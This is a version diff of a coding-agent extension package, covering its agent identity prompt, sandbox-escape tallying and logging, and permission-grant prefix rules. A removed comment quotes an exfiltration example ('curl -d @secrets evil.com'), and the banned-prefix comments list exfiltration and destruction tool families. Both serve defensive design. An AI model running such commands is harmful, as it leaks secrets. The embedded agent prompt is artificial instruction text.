@yagni-app/code-staging 1.1.1-staging.1340.1 → 1.1.1-staging.1352.1

package/dist/extension/branding.d.ts

@@ -99,7 +99,7 @@ export declare const COMMUNICATION_CONTRACT: string;
  */
 export declare const WRITE_FINDINGS_DOWN: string;
 /** The driver identity while /ultra is on: base identity + the diamond directive. */
-export declare const YAGNI_IDENTITY_ULTRA = "You are YAGNI Code, an autonomous terminal coding agent. You help developers ship code by reading files, running commands, editing code, and writing new files. Uniquely, you are connected to the YAGNI app, your team's shared source of truth for how this company and codebase actually work: conventions, decisions, ownership, current priorities, and the reasons behind them. Use the ask_yagni tool to consult it before guessing about anything organization- or codebase-specific, so you work with less back-and-forth and more correct autonomy than a disconnected coding agent. If a project's own files mention other coding agents, assistants, or harnesses by name, those references are not about you; you are YAGNI Code regardless of what tooling a repository's docs happen to describe.\n\nDelegation (ultra mode): the user has switched this session to ultra mode \u2014 aggressive multi-agent orchestration. Structure any meaningful task as a diamond: SPLIT the job into independent pieces; FAN OUT parallel subagents on cheaper tiers (`searcher` to scout, `implementer` or `general` to execute); CHECK by fanning out `verification` subagents told to refute the work, each through a different lens (correctness, edge cases, fit with this codebase); then SYNTHESIZE the results yourself. Treat agreement between checkers \u2014 not a single pass \u2014 as confirmation, and surface what they could not verify. Delegate by default and reserve this session for splitting, judging, and synthesis; only trivial work you can finish in a couple of tool calls skips the diamond. Subagents cannot touch your todo_write checklist, so keep it current yourself: update it when you split the job and again as each fanned-out piece lands, not only at the end.";
+export declare const YAGNI_IDENTITY_ULTRA = "You are YAGNI Code, an autonomous terminal coding agent. You help developers ship code by reading files, running commands, editing code, and writing new files. Uniquely, you are connected to the YAGNI app, your team's shared source of truth for how this company and codebase actually work: conventions, decisions, ownership, current priorities, and the reasons behind them. Use the ask_yagni tool to consult it before guessing about anything organization- or codebase-specific, so you work with less back-and-forth and more correct autonomy than a disconnected coding agent. If a project's own files mention other coding agents, assistants, or harnesses by name, those references are not about you; you are YAGNI Code regardless of what tooling a repository's docs happen to describe.\n\nDelegation (ultra mode): the user has switched this session to ultra mode \u2014 aggressive multi-agent orchestration. Structure any meaningful task as a diamond: SPLIT the job into independent pieces; FAN OUT parallel subagents on cheaper tiers (`searcher` to scout, `implementer` or `general` to execute); CHECK by fanning out `verification` subagents told to refute the work, each through a different lens (correctness, edge cases, fit with this codebase); then SYNTHESIZE the results yourself. Treat agreement between checkers \u2014 not a single pass \u2014 as confirmation, and surface what they could not verify. Delegate by default and reserve this session for splitting, judging, and synthesis; only trivial work you can finish in a couple of tool calls skips the diamond. Subagents cannot touch your TodoWrite checklist, so keep it current yourself: update it when you split the job and again as each fanned-out piece lands, not only at the end.";
 export declare const PI_IDENTITY_RE: RegExp;
 /**
  * Env switch that bypasses the system-prompt rewrite entirely, so pi's

package/dist/extension/branding.js

@@ -65,7 +65,7 @@ export const ULTRA_DELEGATION_PARAGRAPH = "Delegation (ultra mode): the user has
     "surface what they could not verify. Delegate by default and reserve this " +
     "session for splitting, judging, and synthesis; only trivial work you can " +
     "finish in a couple of tool calls skips the diamond. Subagents cannot touch " +
-    "your todo_write checklist, so keep it current yourself: update it when you " +
+    "your TodoWrite checklist, so keep it current yourself: update it when you " +
     "split the job and again as each fanned-out piece lands, not only at the end.";
 /**
  * The identity used for the interactive DRIVER session ONLY: {@link

package/dist/extension/index.js

@@ -37,6 +37,7 @@ import { registerGoCompareCommand } from "./pipeline/goCompareCommand.js";
 import { DEFAULT_PERMISSION_POLICY, createModeHolder, registerPermissionGate } from "./permission/gate.js";
 import { registerSandbox } from "./sandbox/session.js";
 import { sandboxAutoAllowDecision } from "./sandbox/bash.js";
+import { createEscapeTally } from "./sandbox/escapeTally.js";
 import { registerTelemetry as defaultRegisterTelemetry } from "./telemetry/register.js";
 import { loadHooksConfig, makeHookRunner, registerHooks } from "./hooks.js";
 import { loadPermissionRules } from "./permissionRules/loadConfig.js";
@@ -207,11 +208,18 @@ export async function registerYagni(pi, deps = {}) {
     // no-position record suggestions reach the model) and record_decision
     // (flywheel-attributed records send dedupe: true). Run 7.
     const flywheelState = makeFlywheelState();
+    // The session todo checklist: TodoWrite tool (Claude-parity surface), the
+    // above-editor widget, and /todos. Branch-replayed, so forks and resumes
+    // show the list as it stood at that point. Registered BEFORE the working
+    // line so the board's in_progress activeForm can drive the spinner verb.
+    const todosHandle = registerTodos(pi);
     // The composed streaming status line ("Shaping… (12m 54s · ↓ 47.5k tokens)").
     // Registered before the subagent/advisor tools: they publish their live
     // progress through this handle so the elapsed/token suffix survives their
-    // overrides. TUI-gated internally (agent_start checks ctx.mode).
-    const workingLine = registerWorkingLine(pi);
+    // overrides. The verb mirrors the todo board's live step when one is
+    // in_progress (Claude's currentTodo?.activeForm pattern). TUI-gated
+    // internally (agent_start checks ctx.mode).
+    const workingLine = registerWorkingLine(pi, { todoVerb: todosHandle.activeVerb });
     pi.registerTool(makeAskYagniTool({ ...toolOpts, flywheel: flywheelState, getRepo: () => sessionRepo }));
     // WebFetch (YAG-578): read an arbitrary URL as clean markdown + a
     // standard-tier extraction, replacing the bash + curl + python dance.
@@ -252,10 +260,6 @@ export async function registerYagni(pi, deps = {}) {
         // ask_yagni answers the same question next time instead of interrupting a human.
         pi.registerTool(makeRecordDecisionTool({ ...toolOpts, flywheel: flywheelState }));
     }
-    // The visible checklist for multi-step work: the todo_write tool, its
-    // above-editor widget, and /todos. Branch-replayed, so forks and resumes
-    // show the list as it stood at that point.
-    registerTodos(pi);
     // YAG-574: the silent-turn reminder, driver-only. A child/subagent/advisor
     // process has no direct user to answer, so it is never nudged (same gating
     // as the delegation identity in branding.ts); eval mode is untouched so its
@@ -452,7 +456,42 @@ export async function registerYagni(pi, deps = {}) {
         if (event?.toolCallId)
             toolOutcomes.toolEnd(event.toolCallId, { isError: !!event.isError, result: event.result });
     });
-    pi.on("session_shutdown", async () => {
+    pi.on("session_shutdown", async (_event, ctx) => {
+        // Session-end visibility: the one-line escape summary (only when the
+        // session actually escaped — zero-escape sessions stay silent) via notify
+        // (RPC-forwarded — protocol-visible for e2e) plus the summary sink event
+        // for the product metric.
+        const summary = escapeTally.summaryLine();
+        if (summary) {
+            try {
+                ctx?.ui?.notify?.(summary, "info");
+            }
+            catch { /* fail-soft */ }
+            logEvent({
+                source: "sandbox",
+                level: "info",
+                event: "sandbox_escape_summary",
+                sessionId: env.YAGNI_SESSION_ID ?? undefined,
+                fields: {
+                    count: escapeTally.count(),
+                    // Command-family labels are command content — debug tier only,
+                    // same contract as the sandbox_escape line and gate_outcome's
+                    // commandPrefix. The always-on info tier carries the count alone.
+                    ...(isDebug(env)
+                        ? { prefixes: escapeTally.breakdown().map((b) => `${b.prefix}=${b.n}`) }
+                        : {}),
+                },
+            });
+            if (isDebug(env)) {
+                logEvent({
+                    source: "sandbox",
+                    level: "debug",
+                    event: "sandbox_escape_summary",
+                    sessionId: env.YAGNI_SESSION_ID ?? undefined,
+                    fields: { prefixes: escapeTally.breakdown().map((b) => `${b.prefix}=${b.n}`) },
+                });
+            }
+        }
         await toolOutcomes.close();
     });
     const footerInvalidateHandle = { invalidateGit: () => { }, requestRender: () => { } };
@@ -535,6 +574,10 @@ export async function registerYagni(pi, deps = {}) {
     // session lifecycle (init/reset, fail-soft unless failIfUnavailable).
     // Null on unsupported platforms — stock bash stays. Shares the loaded
     // permission rules so sandbox config and the gate read one rule source.
+    // The session escape tally — interception-time counts by command family,
+    // shared by the gate (record), the /sandbox panel (breakdown), and the
+    // session-end summary line.
+    const escapeTally = createEscapeTally();
     const sandboxHandle = evalMode
         ? null
         : registerSandbox(pi, {
@@ -542,6 +585,7 @@ export async function registerYagni(pi, deps = {}) {
             env,
             hasUI: (ctx) => ctx.hasUI,
             onShellResolutionRetry: (outcome) => telemetry.sandboxShellResolutionRetry(outcome),
+            escapeBreakdown: () => escapeTally.breakdown(),
             // Anchors project-protected paths (.yagni-code + its config.json in
             // denyWrite) and project-sourced permission rules to the repo the
             // session runs in — same root the gate uses for its rule anchoring.
@@ -553,6 +597,37 @@ export async function registerYagni(pi, deps = {}) {
         ...(sandboxHandle
             ? {
                 sandboxAutoAllow: (toolName, params) => sandboxAutoAllowDecision(toolName, params, sandboxHandle.manager, sandboxHandle.settings()),
+                // The escape predicate: this call carries dangerouslyDisableSandbox
+                // AND will actually run unsandboxed (sandbox initialized + the
+                // setting allows unsandboxed commands). Strict mode (allow=false)
+                // ignores the flag entirely — the command runs wrapped, no ask.
+                sandboxEscape: (toolName, params) => toolName === "bash" &&
+                    sandboxHandle.manager.initialized &&
+                    params.dangerouslyDisableSandbox === true &&
+                    sandboxHandle.settings().allowUnsandboxedCommands !== false,
+                // Escape tally: interception-time, content-free on the always-on
+                // info tier (the command prefix is command content — it rides the
+                // debug tier only, same contract as logGateOutcomeTrail; the OTel
+                // counter is outcome-tagged only).
+                onSandboxEscape: (prefix) => {
+                    escapeTally.record(prefix);
+                    logEvent({
+                        source: "sandbox",
+                        level: "info",
+                        event: "sandbox_escape",
+                        sessionId: env.YAGNI_SESSION_ID ?? undefined,
+                        fields: {},
+                    });
+                    if (isDebug(env)) {
+                        logEvent({
+                            source: "sandbox",
+                            level: "debug",
+                            event: "sandbox_escape",
+                            sessionId: env.YAGNI_SESSION_ID ?? undefined,
+                            fields: { prefix },
+                        });
+                    }
+                },
             }
             : {}),
         modeHolder,
@@ -675,6 +750,12 @@ export async function registerYagni(pi, deps = {}) {
         // never touches the session.
         onGuardianEvent: (ev) => {
             logGateOutcomeTrail(ev, env);
+            // Escape-flow outcomes feed the product metric (one counter add per
+            // unsandboxed-retry attempt, tagged by outcome only — classes/prefixes
+            // stay local per the telemetry cardinality contract).
+            if (ev.outcome.startsWith("escape_")) {
+                telemetry.sandboxEscapeRetry(ev.outcome);
+            }
             // Opt-in storage stream (YAG-510): tier decides what leaves the machine.
             if (guardianStorageTier === "off" || evalMode)
                 return;
@@ -1402,7 +1483,7 @@ export { blindStages, reportOnlyStages, makeGroundedVsBlindEval, formatCompariso
 export { registerGoCompareCommand } from "./pipeline/goCompareCommand.js";
 // The general subagent tool: Claude Code-format agent discovery + fan-out.
 export { registerSubagents, makeSubagentTool, discoverSubagents, parseAgentMarkdown, buildSubagentStage, formatAgentList, mapModelTier, SUBAGENT_TOOL_NAME, GENERAL_AGENT_NAME, MAX_PARALLEL_SUBAGENTS, MAX_PARALLEL_SUBAGENTS_ULTRA, DEFAULT_SUBAGENT_TOOLS, } from "./subagents.js";
-// The session todo checklist: todo_write tool, widget renderer, /todos.
+// The session todo checklist: TodoWrite tool, widget renderer, /todos.
 export { registerTodos, makeTodoTool, normalizeTodos, reconstructTodos, renderTodoWidget, formatTodoList, formatTodoReminder, shouldRemindTodos, todoSummary, TODO_TOOL_NAME, TODO_REMINDER_TURNS, MAX_TODOS, } from "./todos.js";
 // P3 + W4: the permission gate seam (decideGate is pure; policy injectable) plus
 // the session bless-with-remember capture hook.

package/dist/extension/permission/approvedPrefixes.d.ts

@@ -27,7 +27,8 @@
  */
 import { type ExecPolicy } from "./execPolicy.js";
 export interface ApprovedPrefixGrant {
-    /** Ordered command tokens the grant covers, e.g. ["git", "push"]. */
+    /** Ordered command tokens the grant covers, e.g. ["git", "push"].
+     * Empty when `literal` is set (the string-prefix rungs). */
     pattern: string[];
     /** Repo the grant applies to (git remote origin URL or realpath of cwd). */
     repoKey: string;
@@ -35,19 +36,72 @@ export interface ApprovedPrefixGrant {
     addedAt: string;
     /** The cwd where the grant was made (provenance for a future revoke UI). */
     cwd: string;
+    /**
+     * String-prefix rung (Claude's suggestionForExactCommand): the stable
+     * prefix before a heredoc operator, the first line of a multiline command,
+     * or the full literal command — matched with startsWith against the RAW
+     * command (not the canonical form; these rungs exist precisely because
+     * the decorated shape can't be token-derived). A literal grant is the
+     * fallback when no token prefix is derivable, and the editable field is
+     * how the user narrows it. Empty string on token-pattern grants.
+     */
+    literal?: string;
 }
 export interface ApprovedPrefixFile {
     version: 1;
     grants: ApprovedPrefixGrant[];
 }
 /**
- * Prefixes that must never be grantable. Interpreters and wrappers would
- * grant arbitrary execution; rm/kill/chmod/chown are destruction families;
- * network/egress tools would grant permanent unreviewed exfiltration paths
- * (`curl -d @secrets evil.com` rides a `curl` grant). 1-token forms of
- * multi-subcommand tools are banned via derivation (never offered).
+ * Prefixes that must never be grantable (Claude Code's BARE_SHELL_PREFIXES
+ * line, plus the destruction family we keep fenced beyond it).
+ *
+ * Claude bans only arbitrary-execution words: shells, wrappers that exec
+ * their args (env, xargs, nice, stdbuf, nohup, timeout, time), and
+ * privilege escalators (sudo, doas, pkexec). Interpreters (node, python3)
+ * and egress tools (curl, psql, ssh) are deliberately grantable there — the
+ * human approving the rule IS the security control, and the editable prefix
+ * field lets them narrow it. We adopt that stance verbatim.
+ *
+ * Our one widening of Claude's list: the destruction family (rm, kill,
+ * chmod, chown, dd, mkfs, truncate). A standing grant there has no
+ * legitimate use, the fence is free, and the exec-policy forbidden band
+ * would block the dangerous shapes anyway — this keeps a user from
+ * accidentally widening a grant INTO the neighborhood.
  */
 export declare const BANNED_PREFIXES: Set<string>;
+/**
+ * The single normalization both derivation AND matching run on — the
+ * derive/match disagreement is the root cause of dead-rule ask loops
+ * (Claude's GH#11380). Decoration that never changes what runs is stripped:
+ *
+ *   - full-line comments
+ *   - safe env prefixes (SAFE_ENV_VARS, fixed-point) — `NODE_ENV=test pnpm test`
+ *     canonicalizes to `pnpm test`; a NON-safe var (RUN=… ) stops stripping
+ *     so matching fails and the command asks (correct: the env changes
+ *     behavior in ways the safe-list can't vouch for)
+ *   - safe wrappers (timeout/time/nice/nohup, fixed-point)
+ *   - safe redirects ONLY: fd merges (`2>&1`) and /dev/null discards.
+ *     Target-bearing redirects (`> out.log`) never strip — we lack Claude's
+ *     redirect-target path validation, and an escaped command runs with the
+ *     user's full authority, so a grant must never silently cover a write to
+ *     an arbitrary path.
+ *
+ * Compound commands pass through untouched; segments are handled explicitly
+ * (never canonicalized as one string).
+ */
+export declare function canonicalizeForGrants(command: string): string;
+/**
+ * Derive the grantable token prefix for a single canonical command, Claude's
+ * getSimpleCommandPrefix → getFirstWordPrefix ladder:
+ *   1. [tool, subcommand] for multi-subcommand tools (`git push`, `pnpm test`)
+ *   2. [first-word] for any other clean command word (`psql`, `node`, `gh` on
+ *      flag-first shapes) — Claude's first-word fallback; the editable field
+ *      lets the user narrow it.
+ * Returns null when nothing token-shaped is grantable (banned word, dirty
+ * shape, path-prefixed). The literal rungs (heredoc prefix, first line, full
+ * command) live in deriveRememberSeeds — they are string prefixes, not
+ * token patterns, and ride the grant as a `literal` field.
+ */
 export declare function derivePrefix(command: string): string[] | null;
 /**
  * Command-family label for storage analytics (YAG-510): token 1 (basename'd),
@@ -60,8 +114,10 @@ export declare function derivePrefix(command: string): string[] | null;
 export declare function storagePrefix(command: string): string;
 /**
  * Does `command` fall under one of the session's grants? Pure. The caller
- * (permission gate) must only consult this AFTER classifyCommand returned
- * "prompt" — grants never override forbidden.
+ * (permission gate) must only consult this AFTER the exec policy ran —
+ * grants never override forbidden. Token grants match on the CANONICAL
+ * form (same normalization derivation ran on — the anti-dead-rule
+ * invariant); literal grants match with startsWith against the raw command.
  */
 export declare function matchesGrant(command: string, grants: readonly ApprovedPrefixGrant[], repoKey: string): ApprovedPrefixGrant | null;
 /**
@@ -73,6 +129,64 @@ export declare function matchesGrant(command: string, grants: readonly ApprovedP
 export declare function validateGrant(command: string, policy: ExecPolicy, repoKey: string): ApprovedPrefixGrant | null;
 /** Human label for the remember option: "git push …". */
 export declare function describePrefix(pattern: string[]): string;
+/** Claude's suggestionForExactCommand: stable prefix before a heredoc
+ * operator — heredoc bodies change every invocation, so the exact command
+ * would be a dead rule; the pre-<< prefix is the remember unit.
+ *
+ * OUR refinement over Claude: when the pre-<< prefix carries an OUTPUT
+ * REDIRECT (`cat > "$S/r1.txt" <<EOF`), the redirect TARGET varies between
+ * invocations as much as the body does (r1.txt, r2.txt, …) — so the prefix
+ * cuts at the redirect operator. `cat >` seeds `…\ncat`; a redirect-free
+ * heredoc (`gh api … <<EOF`) keeps Claude's full pre-<< prefix. The
+ * editable field is the narrowing control on top of either. */
+export declare function heredocPrefix(command: string): string | null;
+/**
+ * The FULL remember ladder for one ask, in order (all five rungs — a shape
+ * never asks twice):
+ *   1. token patterns for every derivable uncovered segment (compound:
+ *      multi-grant, atomically)
+ *   2. heredoc prefix (stable string before <<)
+ *   3. first line of a multiline command
+ *   4. the full literal command (Claude's editable-field final fallback; the
+ *      user narrows it in the dialog)
+ * Returns grants WITHOUT repoKey/addedAt/cwd (the gate fills them in) —
+ * seeds are hypothetical until the user picks remember.
+ */
+export declare function deriveRememberSeeds(command: string, uncoveredCanonicalSegments: readonly string[], repoKey?: string): {
+    seeds: ApprovedPrefixGrant[];
+    description: string;
+} | null;
+/** The fencing check applied to raw command text: canonicalize + tokenize +
+ * the same refspec/flag dangers matchesGrant fences. Exported for tests. */
+export declare function isFencedPushLiteral(command: string): boolean;
+/**
+ * Grant-time validation for the ESCAPE flow: the same self-match proof as
+ * validateGrant, minus the classification==="prompt" requirement — escaped
+ * commands are exactly the ones the exec policy classifies "allow" (that's
+ * the bug this flow fixes), so requiring prompt would never offer remember.
+ * The forbidden band is still enforced by the caller BEFORE the ask fires,
+ * so a forbidden command never reaches this function's seeds either way.
+ */
+export declare function validateGrantForEscape(command: string, policy: ExecPolicy, repoKey: string): {
+    seeds: ApprovedPrefixGrant[];
+    description: string;
+} | null;
+/**
+ * Compound evaluation for the escape flow (Claude's subcommandResults
+ * analog): every segment must be covered — by a grant, by exec-policy
+ * `allow` (read-only — their isReadOnly analog), or be a pure env-assignment
+ * no-op — for the compound to run without asking. `forbidden` propagates:
+ * the whole compound blocks regardless of what else it contains.
+ */
+export interface CompoundSegmentVerdict {
+    segment: string;
+    kind: "covered" | "assignment" | "uncovered" | "forbidden" | "classify-error";
+}
+export declare function evaluateCompoundForEscape(command: string, grants: readonly ApprovedPrefixGrant[], repoKey: string, policy: ExecPolicy): {
+    forbidden: boolean;
+    uncovered: string[];
+    segments: CompoundSegmentVerdict[];
+};
 /**
  * Could {@link derivePrefix} ever have produced this pattern? The persisted
  * file is plain JSON on disk, so a row that derivation could not have written